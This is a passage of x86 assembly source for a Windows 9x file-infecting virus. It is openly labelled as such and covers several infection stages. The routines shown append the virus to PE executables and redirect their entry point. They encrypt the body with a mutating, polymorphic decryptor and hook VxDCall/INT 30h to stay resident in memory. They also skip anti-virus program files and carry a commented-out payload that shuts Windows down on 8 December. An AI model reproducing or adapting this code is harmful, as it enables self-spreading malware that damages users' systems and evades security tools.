mov [dwDeltaOffset], esi ;Save Delta Offset
;Check if the file can be infected, or not
call CanFileBeInfected, if_szFileName
test eax, eax ;Can it be infected
jz End_InfectFile ;No
mov [dwIncFileSize], ebx ;Save Increase in File Size
mov [dwIncSecSize], ecx ;Save Increase in Section Size
;Map Host File into Memory
call OpenAndMapFile, if_szFileName, dwIncFileSize
test eax, eax ;File Opened and Mapped Successfully
jz End_InfectFile ;No, Return Code = 0
mov esi, [dwDeltaOffset]
mov [esi + lpHostFile], eax ;Save staring address of file
;Get File Headers
call GetFileHeaders, eax ;This should not fail, since its already...
mov [dwIOH], ebx ;...called once in CanFileBeInfected
mov [lpdwLastSection], ecx
;Calculate the Starting of Virus Code in File
mov eax, (IMAGE_SECTION_HEADER [ecx]).ISH_PointerToRawData
add eax, (IMAGE_SECTION_HEADER [ecx]).ISH_SizeOfRawData
mov [dwVirusBegin], eax ;RVA of New Entry Point in File
;Calculate RVA of New Entry Point
mov ebx, [lpdwLastSection]
sub eax, (IMAGE_SECTION_HEADER [ebx]).ISH_PointerToRawData
add eax, (IMAGE_SECTION_HEADER [ebx]).ISH_VirtualAddress
mov [dwNewEntryRVA], eax
;Calculate Bytes of JMP Instruction
add eax, offset ReturnToHost - offset StartOfVirusCode
mov ebx, [dwIOH]
sub eax, (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint
add eax, 4
not eax
mov [dwJumpBytes], eax ;Save Bytes
;Append the Virus to the host
mov esi, offset StartOfVirusCode ;Copy Virus from Here...
add esi, [dwDeltaOffset] ;since StartOfVirusCode will vary after infection
mov edi, [dwVirusBegin] ;...to here
mov ebx, [dwDeltaOffset]
add edi, [ebx + lpHostFile] ;true location to copy to
mov ecx, VIRUS_SIZE
rep movsb
;Write New Jump Instruction in File
;Offset in File where operand to JMP instruction is to be put
mov ebx, offset ReturnToHost + 1 - offset StartOfVirusCode
add ebx, [dwVirusBegin] ;True offset in file
mov esi, [dwDeltaOffset]
add ebx, [esi + lpHostFile] ;Correct offset in Memory Mapped File
mov ecx, [dwJumpBytes] ;Get operand for jmp instruction
mov [ebx], ecx ;Put it in the file
;Update the Last Section Header
mov eax, [lpdwLastSection]
mov ebx, [dwIncSecSize]
mov ecx, [dwIncFileSize]
add (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData, ecx
add (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx
or (IMAGE_SECTION_HEADER [eax]).ISH_Characteristics, IMAGE_READ_WRITE_EXECUTE
;Fix VirtualSize (if Required) for files like TRACERT.EXE)
mov ebx, (IMAGE_SECTION_HEADER [eax]).ISH_SizeOfRawData
cmp (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Virtual Size Wrong
jge VirtualSizeFine ;No, Fix Not Required
mov (IMAGE_SECTION_HEADER [eax]).ISH_VirtualSize, ebx ;Yes, Fix it
VirtualSizeFine:
;Update the PE Header (Image Size)
mov ebx, [dwIOH] ;Address of Image Optional Header
add (IMAGE_OPTIONAL_HEADER [ebx]).IOH_SizeOfImage, ecx
;Update the PE Header (Entry RVA)
mov ecx, [dwNewEntryRVA] ;Get New Entry RVA
mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_AddressOfEntryPoint, ecx
;Update the Win32VersionValue field. This is used as a Virus Signature
mov (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
;Encrypt the file, and Close it
mov ebx, [dwDeltaOffset]
mov edi, [ebx + lpHostFile] ;Staring address of Host File
add edi, [dwVirusBegin] ;Address of virus in file
call EncryptVirus
call UnmapAndCloseFile, if_szFileName
xor eax, eax
inc eax ;All OK, Return Code 1
End_InfectFile:
ret
InfectFile ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | EncryptVirus | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Encrypts the Virus Code with a random byte, and mutates the decryptor,
; making the virus Encrypted & Polymorphic
;
; Arguments
; -> EDI: Starting address of Virus in Memory Mapped File
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> All except EDI
;________________
EncryptVirus PROC
push edi ;Save starting address of virus code
;Get Encryption Key, to be used for encrypting/decrypting
;@DELTA esi
;call esi + GetTickCount ;Get random number in EAX (AL)
in al, 40h ;Get random encryption key
IF DEBUG
xor al, al ;Don't encrypt in Debug Mode
ENDIF
mov ecx, ENCRYPTED_SIZE
add edi, LOADER_SIZE ;Don't enrypt the loader !!
EncryptByte:
xor byte ptr [edi], al ;al = Encryption Key
inc edi
loop EncryptByte
pop edi ;restore starting address of virus code
;Update the Encryption Key in the decryptor
mov byte ptr [edi + EncryptionKey - StartOfVirusCode], al
;Mutate the Decryptor
call MutateDecryptor
ret
EncryptVirus ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | StringLength | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> Returns the length of the string
;
; Arguments
; -> DWORD sl_lpszString: Address of the string
;
; Return Value:
; -> EAX: Length of the string
;
; Registers Destroyed
; -> EAX, ECX, EDI
;____________________________________
StringLength PROC sl_lpszString:DWORD
mov edi, sl_lpszString ;string whose length is required
xor ecx, ecx
dec ecx ;ecx = -1, search till infinity
xor eax, eax ;search for NULL character
repne scasb ;Find the terminating NULL
not ecx
dec ecx ;length of string
mov eax, ecx ;return length of string
ret
StringLength ENDP
;****************************************************************************
; TimerProc
;****************************************************************************
; Description
; -> This function is called when the Time-out value for the Timer Expires.
;
; Arguments
; -> tp_hwnd: Handle of the window
; tp_uMsg: WM_TIMER
; tp_idEvent: ID of the timer
; tp_dwTimer: Value of GetTickCount()
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> All
;_____________________________________________________________________________
;TimerProc PROC tp_hwnd:DWORD, tp_uMsg:DWORD, tp_idEvent:DWORD, tp_dwTime:DWORD
; LOCAL dwDeltaOffset:DWORD, \
; dwFileNumber:DWORD, \
; stTime:SYSTEMTIME
; pushad ;must save, since this is a CALLBACK fn
; @DELTA esi
; mov [dwDeltaOffset], esi
;
;Check if Date is 8th December
; lea eax, stTime
; call esi + GetLocalTime, eax
; cmp stTime.ST_wMonth, 12 ;is Month = December
; jne Not_8_December ;No
; cmp stTime.ST_wDay, 8 ;Yes. Is Day = 8th
; jne Not_8_December ;No
;
;Deliever Payload since date is 8th December
; call PayLoad
;
;Not_8_December:
;
;Lock System if Windows has been running for a long time
; ;cmp tp_dwTime, MAX_RUN_TIME ;Is Windows Up-time > 2 hours
; ;jle NoLockWindows ;No
; ;DB 0F0h ;Yes, use F00F Bug to hang / lock System
; ;DB 0Fh
; ;DB 0C7h
; ;DB 0C8h
;
;NoLockWindows:
;
;
;End_TimerElapsed:
; popad ;restore state
; ret
;TimerProc ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | CanFileBeInfected | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function checks if a file can be infected or not. It checks the
; following:
; 1. File must be an EXE
; 2. File must be a PE
; 3. It must not be a DLL
; 4. File must not be infected by our virus
; 5. It must not be a Winzip Self-Extractor File
;
; If all the above conditions are met, this function returns the size, in
; bytes, by which the file and section must be increased when the file is
; infected.
;
; Arguments
; -> DWORD cfbe_szFileName: ASCIIZ Name of the file to check
;
; Return Value:
; -> EAX: 1 if the file can be infected, 0 Otherwise
; -> EBX: Bytes by which the file size must be increased if it is infected
; -> ECX: Bytes by which the last section size must be increased if it is infected
;
; Registers Destroyed
; -> All
;___________________________________________
CanFileBeInfected PROC cfbe_szFileName:DWORD
;Map File, without increasing the File Size
call OpenAndMapFile, cfbe_szFileName, 0
test eax, eax ;File Opened & Mapped Successfully
jz End_CanFileBeInfected ;No, Return with Error Code = 0
;Get File Headers
call GetFileHeaders, eax
test eax, eax ;Successfully retreived file headers
je End_CanFileBeInfected ;No, probably not a PE file
;Check if file is infected. We use the Win32VersionValue for storing our signature
cmp (IMAGE_OPTIONAL_HEADER [ebx]).IOH_Win32VersionValue, VIRUS_SIGNATURE
jz Error_CanFileBeInfected ;File is already infected
;Check if file is a DLL
test (IMAGE_FILE_HEADER [eax]).IFH_Characteristics, IMAGE_FILE_DLL
jnz Error_CanFileBeInfected ;Yes
;Check if last section is sharable
;mov edx, (IMAGE_SECTION_HEADER [ecx]).ISH_Characteristics
;and edx, IMAGE_SCN_MEM_SHARED ;Is Section Sharable
;jnz Error_CanFileBeInfected ;Yes, don't infect
;Don't infect Winzip Self-Extractor Files.
;The last section of this file has the name _winzip_. Note that Winzip
;Self-Extrator Personal Edition Files will still be infected, since they
;don't have this section
cmp dword ptr (IMAGE_SECTION_HEADER [ecx]).ISH_Name, "niw_" ;"_win" ?
je Error_CanFileBeInfected ;Yes, dont infect
;OK, File can be infected, Great !!, ;-)
mov eax, ebx ;Image Optional Header
mov ebx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_FileAlignment
mov ecx, (IMAGE_OPTIONAL_HEADER [eax]).IOH_SectionAlignment
;Calculate Increase in Section size
;INC_SEC_SIZE = [(VIRUS_SIZE - 1 + SECTION_ALIGN) / SECTION_ALIGN] * SECTION_ALIGN
mov eax, VIRUS_SIZE - 1
add eax, ecx ;Add Section Alignment
xor edx, edx ;We need to divide only EAX
div ecx ;Divide by SECTION_ALIGN
mul ecx ;Multiply by SECTION_ALIGN
push eax ;Save Increase in Section Size
;Calculate Increase in File Size
;INC_FILE_SIZE = (INC_SEC_SIZE - 1 + FILE_ALIGN) / FILE_ALIGN] * FILE_ALIGN
;mov eax, VIRUS_SIZE;**NEW LINE
;dec eax ;INC_SEC_SIZE - 1
mov eax, VIRUS_SIZE - 1
add eax, ebx ;Add File Alignment, FILE_ALIGN
div ebx ;Divide by FILE_ALIGN
mul ebx ;Multiply by FILE_ALIGN
push eax ;Save Increase in File Size
;Close the file, and return relevant values
call UnmapAndCloseFile, cfbe_szFileName
pop ebx ;Get Increase in File Size
pop ecx ;Get Increase in Section Size
xor eax, eax
inc eax ;Return Code 1
jmp End_CanFileBeInfected
Error_CanFileBeInfected:
call UnmapAndCloseFile, cfbe_szFileName
xor eax, eax ;Return Code 0
End_CanFileBeInfected:
ret
CanFileBeInfected ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | PayLoad | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function is called on the 8th of December. It delievers the Payload
; of the virus.
;
; Arguments
; -> None.
;
; Return Value:
; -> None.
;
; Registers Destroyed
; -> All
;___________
;PayLoad PROC
; @DELTA esi
; ;call ExitWindowsEx, EWX_FORCE OR EWX_SHUTDOWN, NULL
; call esi + ExitWindowsEx, EWX_SHUTDOWN, NULL
; ret
;PayLoad ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | CanMachineBeInfected | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function is called to check if the virus should infect this machine
; or not. This is used, so that the virus doesn't infect My Machine !!
;
; Arguments
; -> None.
;
; Return Value:
; -> EAX: 0 -> machine should not be infected, else it can be infected
;
; Registers Destroyed
; -> All
;________________________
CanMachineBeInfected PROC
@DELTA esi
;Check if the "No Infect" file exists on the current machine
mov eax, esi
add eax, offset szNoInfectFileName
call esi + CreateFileA, eax, GENERIC_READ, FILE_SHARE_READ, NULL, \
OPEN_EXISTING, NULL, NULL
cmp eax, INVALID_HANDLE_VALUE ;File Opened ?
je End_CanMachineBeInfected ;No, so machine can be infected
;Close the file, and return 0, since its probably my machine
call esi + CloseHandle, eax
xor eax, eax ;return 0, so that machine is not infected
End_CanMachineBeInfected:
ret
CanMachineBeInfected ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | RelocateVirus | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function allocates memory in the Shared area and copies the Virus
; to that area.
;
; Arguments
; -> None.
;
; Return Value:
; -> EAX: Base address of Memory where the Virus was copied, or NULL if an
; error occured.
;
; Registers Destroyed
; -> All
;_________________
RelocateVirus PROC
LOCAL dwDeltaOffset:DWORD, \
dwMemoryRegion:DWORD
@DELTA esi
mov [dwDeltaOffset], esi
;Reserve Shared Memory
@DELTA esi
call esi + VxDCall, PageReserve, PR_SHARED, VIRUS_SIZE_PAGES, \
PC_WRITEABLE OR PC_USER
cmp eax, INVALID_HANDLE_VALUE ;Memory Allocate Successfully?
je Error_RelocateVirus ;No
cmp eax, SHARED_MEMORY ;Shared memory Allocated?
jb Error_RelocateVirus ;No
;Save Address of Region
mov [dwMemoryRegion], eax
;Commit Shared Memory
shr eax, 0Ch ;Page Number
mov esi, [dwDeltaOffset]
call esi + VxDCall, PageCommit, eax, VIRUS_SIZE_PAGES, PD_ZEROINIT, 0, \
PC_WRITEABLE OR PC_USER OR PC_PRESENT OR PC_FIXED
or eax,eax
je Error_RelocateVirus
;Copy Virus to Newly Allocate Memory
mov esi, dwDeltaOffset
add esi, offset StartOfVirusCode ;Start Copying From Here
mov edi, [dwMemoryRegion] ;Copy Here
mov ecx, VIRUS_SIZE ;Size to Copy
rep movsb
mov eax, [dwMemoryRegion] ;Return Region of Shared Memory Allocated
jmp End_RelocateVirus
Error_RelocateVirus:
xor eax, eax ;Return 0, since an error occured
End_RelocateVirus:
ret
RelocateVirus ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | InstallHookProcedure | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function installs a hook procedure to monitor VxDCalls
;
; Arguments
; -> None.
;
; Return Value:
; -> None.
;
; Registers Destroyed
; -> All
;________________________
InstallHookProcedure PROC
LOCAL dwDeltaOffset:DWORD
@DELTA esi
mov [dwDeltaOffset], esi
;Modify the JMP instruction, so that it points to the address of OldInt30
mov eax, esi
add eax, offset OldInt30Address ;Bytes to modify
mov ebx, esi
add ebx, offset OldInt30 ;Address of OldInt30
mov [eax], ebx ;Modify JMP instruction
;The disassembly of the VxDCall function looks like this:
;
;8B 44 24 04 MOV EAX, DWORD PTR [ESP+04h]
;8F 04 24 POP DWORD PTR [ESP]
;2E FF 1D XX XX XX XX CALL FWORD PTR CS:[XXXXXXXX]
;
;The last instuction points to an INT 30h instruction that is used by
;VxDCall to jump to Ring 0. So, to hook VxDCall's, we must modify the
;address pointed to by the CALL, i.e. XXXXXX, so that it points to our
;code. Before that, we should save the current address, so that we can
;call the old INT 30h
;Trace through VxDCall, until we come to the XXXXXXXX bytes
add esi, offset VxDCall
mov esi, [esi] ;First byte of VxDCall function
mov ecx, 50 ;Scan upto 50 bytes
TraceVxDCall:
lodsb ;Get current byte
cmp al, 2Eh ;First byte of CALL instruction?
jne TraceVxDCall_NextByte ;No, check next byte
cmp word ptr [esi], 1DFFh ;Next two bytes of instruction?
je TraceVxDCall_AddressFound ;Yes
TraceVxDCall_NextByte:
loop TraceVxDCall ;Continue Checking...
TraceVxDCall_AddressFound:
;Save Current INT 30h Address
cli ;Cannot afford to be interrupted
lodsw ;Skip over FF and 1D opcodes of CALL
lodsd ;Pointer to INT 30h instruction, XXXXXXXX
mov esi, eax ;Copy Bytes From Here
mov edi, [dwDeltaOffset]
add edi, offset OldInt30 ;To Here
mov ecx, 6 ;Save 6 bytes, FWORD
rep movsb
;Install New INT 30h Handler
mov edi, eax ;Pointer to INT 30h instruction
mov eax, [dwDeltaOffset]
add eax, offset VxDInt30Handler ;Copy This Address
stosd ;Save 4 bytes ...
mov ax, cs
stosw ;and 2 bytes (since FWORD instruction)
sti ;Handler installed, enable interrupts
ret
InstallHookProcedure ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | VxDInt30Handler | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This is the hook procedure that monitors VxDCalls (INT 30h)
;
; Arguments
; -> None.
;
; Return Value:
; -> None.
;
; Registers Destroyed
; -> All
;___________________
VxDInt30Handler PROC
pushad ;Save all, since this is an interrupt handler
;Make sure that we don't process our own calls
@OFFSET ebp, VxDCall_Busy
cmp byte ptr [ebp], TRUE ;Is Virus busy
je Exit_VxDInt30Handler ;Yes, prevent re-entrancy
;Process only INT 21h Services
cmp eax, VWIN32_Int21Dispatch ;VWIN32 VxD int 21h?
jne Exit_VxDInt30Handler
mov eax,dword ptr [esp+0000002Ch] ;Get 21h Service
cmp ax, RESIDENCY_CHECK_SERVICE ;Check for Residency?
je Residency_Check ;Yes
cmp ax, LFN_OPEN_FILE_EXTENDED ;LFN Open Extended
je Extended_File_Open
jmp Exit_VxDInt30Handler ;None, go to default handler
Residency_Check:
;Virus Residency Check
popad ;Restore stack and other regs
mov esi, RESIDENCY_SUCCESS ;Tell caller that we're resident
jmp Original_VxDInt30Handler ;Go to original handler
Extended_File_Open:
;Prevent Re-entrancy
@OFFSET eax, VxDCall_Busy
mov byte ptr [eax], TRUE
push esi
call IsFilenameOK, esi
pop esi
or eax, eax
jz File_Not_Executable
;Do Stuff
call OutputFileName
File_Not_Executable:
;Finished Processing
@OFFSET eax, VxDCall_Busy
mov byte ptr [eax], FALSE
Exit_VxDInt30Handler:
popad ;Restore, before transfering control
Original_VxDInt30Handler:
;The following bytes will be translated to JMP FWORD PTR CS:[00000000]
DB 2Eh, 0FFh, 2Dh ;JMP FWORD PTR CS:[XXXXXXXX]
OldInt30Address: ;The following 4 bytes will be replaced by the
DB 4 DUP (0) ;address of OldInt30 in memory.
;ret ;Not required, since we're jumping out
VxDInt30Handler ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | IsFilenameOK | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function checks if the filename is OK for infection or not. If the
; filename meets any of the folling criteria, this function returns a
; failure.
; * Filename is less than 5 characters. This is checked, because
; we are infecting only .EXE files, so the minimum length of such
; a file is 5 characters
; * The filename must end in ".EXE" (or ".XYZ" for DEBUG mode). The
; comparison is case insensitive
; * The filename must NOT consist of any of the following pairs of
; characters, viz., "AV", "AN", "F-". This is done to prevent
; infection of Anti-Virus program files.
;
; Arguments
; -> ife_szFilename: Address of the buffer where the filename is stored
;
; Return Value:
; -> EAX: 1 if the filename is OK, 0 otherwise
;
; Registers Destroyed
; -> All
;___________________________________
IsFilenameOK PROC ife_szFilename
LOCAL szExtention[4]:BYTE
;Check Filename Length
mov esi, ife_szFilename
call StringLength, esi ;Get length of filename
cmp eax, 4 ;Is File name less than 5 characters (.EXE)
jl Error_IsFilenameOk ;Yes, Don't infect
push eax ;Save Length of Filename
;Get File Extention
mov eax, [esi + eax - 4] ;File Extention (including ".")
lea edx, szExtention ;Get Address of Extention Buffer
mov [edx], eax ;Store extention in buffer
;Convert to upper case
mov ecx, 3 ;3 characters to be converted
ToUpperCase:
inc edx ;Don't have to check "." for upper case
cmp byte ptr [edx], "a"
jl NextCharacter
cmp byte ptr [edx], "z"
jg NextCharacter
sub byte ptr [edx], "a" - "A" ;Convert to upper case
NextCharacter:
loop ToUpperCase
pop ecx ;Get Length of Filename
;Check the Extention
IF DEBUG
cmp dword ptr [edx - 3], "ZYX." ;Is Extention ".XYZ" (Debug Only)
ELSE
ERR "Release Mode, Executables will be Infected !!!" ;Comment to assemble
cmp dword ptr [edx - 3], "EXE." ;Is Extention ".XYZ" (Release Only)
ENDIF
jne Error_IsFilenameOk ;No, Extention doesn't match
;Check Anti-Virus Program Files
dec ecx ;Since we're checking 2 char, last char not reqd
CheckAntiVirusFiles:
cmp word ptr [esi], "VA" ;"AV"; for NAV (Norton), TBAV (ThunderByte)
je Error_IsFilenameOk
cmp word ptr [esi], "va"
je Error_IsFilenameOk
cmp word ptr [esi], "-F" ;"F-"; for F-PROT
je Error_IsFilenameOk
cmp word ptr [esi], "NA" ;"AN", for SCAN (McAfee), CLEAN
je Error_IsFilenameOk
cmp word ptr [esi], "na"
je Error_IsFilenameOk
inc esi ;Next Character
loop CheckAntiVirusFiles ;Check All
xor eax, eax
inc eax
jmp End_IsFilenameOk
Error_IsFilenameOk:
xor eax, eax
End_IsFilenameOk:
ret
IsFilenameOK ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
OutputFileName PROC
LOCAL dwFilename:DWORD, \
dwDeltaOffset:DWORD
mov [dwFilename], esi
@DELTA esi
mov [dwDeltaOffset], esi
;Create File to write into
mov edx, [dwDeltaOffset]
add edx, offset szOutputFile
mov esi, 0BFF77ADFh
call esi, edx, GENERIC_READ OR GENERIC_WRITE, FILE_SHARE_READ, \
0, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, 0
cmp eax, INVALID_HANDLE_VALUE
je End_OutputFileName
;Go to end of file
push eax ;Save Handle
mov esi, 0BFF7713Fh ;SetFilePointer
call esi, eax, 0, 0, 2
pop eax ;Restore Handle
;Get Length of FileName
push eax ;Save Handle
mov edx, [dwFilename]
mov esi, 0BFF773ADh ;lstrlen
call esi, edx
mov ebx, eax ;length of filename
pop eax ;Restore Handle
;Write Into File
push eax ;save handle
push eax ;Create Buffer, used for number of bytes written
lea ecx, [esp - 4]
mov edx, [dwFilename]
mov esi,0BFF76FD5h ;WriteFile
call esi, eax, edx, ebx, ecx, 0
pop eax ;Remove Buffer
pop eax ;restore handle
;Close File
mov esi, 0BFF7E064h
call esi, eax
End_OutputFileName:
ret
OutputFileName ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | IsVirusActive | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function returns 1 if the virus is active in memory, else returns
; 0. This function also saves the address of the VxDCall API.
;
; Arguments
; -> None.
;
; Return Value:
; -> EAX: 1 if the Virus is Resident. 0 otherwise
;
; Registers Destroyed
; -> All
;_________________
IsVirusActive PROC
call GetAddressOfKernelAPI, 0 ;Get Address Of VxDCall API
test eax, eax ;Found Address ?
jz End_IsVirusActive ;No, Return 0
;Save address of VxDCall API
@OFFSET ebx, VxDCall
mov [ebx], eax ;Save Address
;Check if Virus is Already Resident
@CALL_INT21h RESIDENCY_CHECK_SERVICE
xor eax, eax ;Assume not resident
cmp esi, RESIDENCY_SUCCESS ;Is Virus Resident
jne End_IsVirusActive ;No, return 0
inc eax ;Yes, return 1
End_IsVirusActive:
ret
IsVirusActive ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | GetFileHeaders | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function retreives the address of various file headers, viz.,
; Image File Header, Image Optional Header, Last Section Header,
; Image Export Directory. The function fails if the specified file is
; not a Portable Executable (PE) file
;
; Arguments
; -> gfh_dwFileBase: Base Address of File (in Memory) whose headers are
; required.
;
; Return Value:
; -> EAX: Address of the Image File Header, or 0 if the function failed
; -> EBX: Address of the Image Optional Header
; -> ECX: Address of the Last Sections Header
; -> EDX: Address of the Image Export Directory
;
; Registers Destroyed
; -> All
;_______________________________________
GetFileHeaders PROC gfh_dwFileBase:DWORD
LOCAL dwIOH:DWORD, \
dwIED:DWORD, \
mov esi, [gfh_dwFileBase]
cmp word ptr [esi], "ZM" ;Is EXE/DLL Present ?
jne Error_GetFileHeaders ;No
;Check for PE Signature
add esi, (IMAGE_DOS_HEADER [esi]).IDH_e_lfanew
cmp dword ptr [esi], "EP" ;PE File ?
jne Error_GetFileHeaders ;No
;Get Image Optional Header
add esi, IMAGE_SIZEOF_NT_SIGNATURE ;Image File Header
push esi ;Save Image File Header
add esi, SIZE IMAGE_FILE_HEADER ;Image Optional Header
mov [dwIOH], esi ;Save
;Get the Address of the Image Export Directory
mov esi, (IMAGE_OPTIONAL_HEADER [esi]).IOH_DataDirectory(0).IDD_VirtualAddress ;RVA Image
Export Directory
add esi, [gfh_dwFileBase]
mov dword ptr [dwIED], esi
;Get Address of Last Section Header
pop esi ;Get Image File header
movzx ecx, (IMAGE_FILE_HEADER [esi]).IFH_SizeOfOptionalHeader
add ecx, [dwIOH] ;Address of First Section Header
movzx eax, (IMAGE_FILE_HEADER [esi]).IFH_NumberOfSections
dec eax ;Number of Sections - 1
imul eax, eax, SIZE IMAGE_SECTION_HEADER ;Size of All Section Headers
;mov ebx, SIZE IMAGE_SECTION_HEADER
;mul ebx ;Size of All Section Headers
add ecx, eax ;Address of Last Section Header
;Return Header Values
mov eax, esi ;Image File Header
mov ebx, [dwIOH]
mov edx, [dwIED]
jmp End_GetFileHeaders
Error_GetFileHeaders:
xor eax, eax ;Error, Return 0
End_GetFileHeaders:
ret
GetFileHeaders ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | MutateDecryptor | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function modifies the registers used in the decryptor, to make it
; polymorphic. The decrypor uses two registers; one as an index, and the
; other as a counter. The registers EAX, EBX, ECX, EDX, ESI and EDI are
; used as random registers. The opcodes are generated in the following way.
; First the opcode is calculated using register EAX; e.g. the opcode for
; POP EAX is 58h. To generate the opcodes for the other registers, we add
; the number of the register. The number for EDX is 2. Adding this to 58h,
; we get 5Ah, which is the opcode for POP EDX
;
; Arguments
; -> EDI: Start of decrypor that need to be mutated
;
; Return Value:
; -> None
;
; Registers Destroyed
; -> AX, BL
;___________________
MutateDecryptor PROC
;Get Two Random Registers
call RandomRegister ;Get First Register Number
mov ah, al ;Save It
GetAnotherRegister:
call RandomRegister ;Get Second Register Number
cmp ah, al ;Is it the same as First
je GetAnotherRegister ;Yes, get another one
;Modify Decryptor, so that it uses the new registers
mov bl, 58h ;Change "pop "
add bl, al ;Register 1
mov byte ptr [edi + 5], bl
mov bl, 0C0h ;Change "add , ..."
add bl, al ;Register 1
mov byte ptr [edi + 7], bl
mov bl, 0B8h ;Change "mov , ..."
add bl, ah ;Register 2
mov byte ptr [edi + 9], bl
mov bl, 30h ;Change "xor byte ptr [], ..."
add bl, al ;Register 1
mov byte ptr [edi + 15], bl
mov bl, 40h ;Change "inc "
add bl, al ;Register 1
mov byte ptr [edi + 17], bl
mov bl, 48h ;Change "dec "
add bl, ah ;Register 2
mov byte ptr [edi + 18], bl
ret
MutateDecryptor ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | RandomRegister | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
; Description
; -> This function returns a random number from 0, 1, 2, 3, 6, and 7. Each of
; these values is used to identify a register.
; EAX=0, ECX=1, EDX=2, EBX=3, ESI=6, EDI=7
;
; Arguments
; -> None.
;
; Return Value:
; -> AL: Random number (0, 1, 2, 3, 6 or 7)
;
; Registers Destroyed
; -> AL
;__________________
RandomRegister PROC
NewRandom:
in al, 40h ;Get Random Number
and al,00000111b ;Maximum value 7
cmp al, 4 ;Should not be 4...
je NewRandom
cmp al, 5 ;...or 5
je NewRandom
ret
RandomRegister ENDP
;+----------------------------------------------------------------------------+
;| +------------------------------------------------------------------------+ |
;| | | |
;| | End Of Virus Code | |
;| | | |
;| +------------------------------------------------------------------------+ |
;+----------------------------------------------------------------------------+
VIRUS_SIZE EQU $ - offset StartOfVirusCode
ENCRYPTED_SIZE EQU $ - offset EncryptedVirusCode
LOADER_SIZE EQU VIRUS_SIZE - ENCRYPTED_SIZE
VIRUS_SIZE_PAGES EQU (VIRUS_SIZE / PAGE_SIZE) + 1
END StartOfVirusCode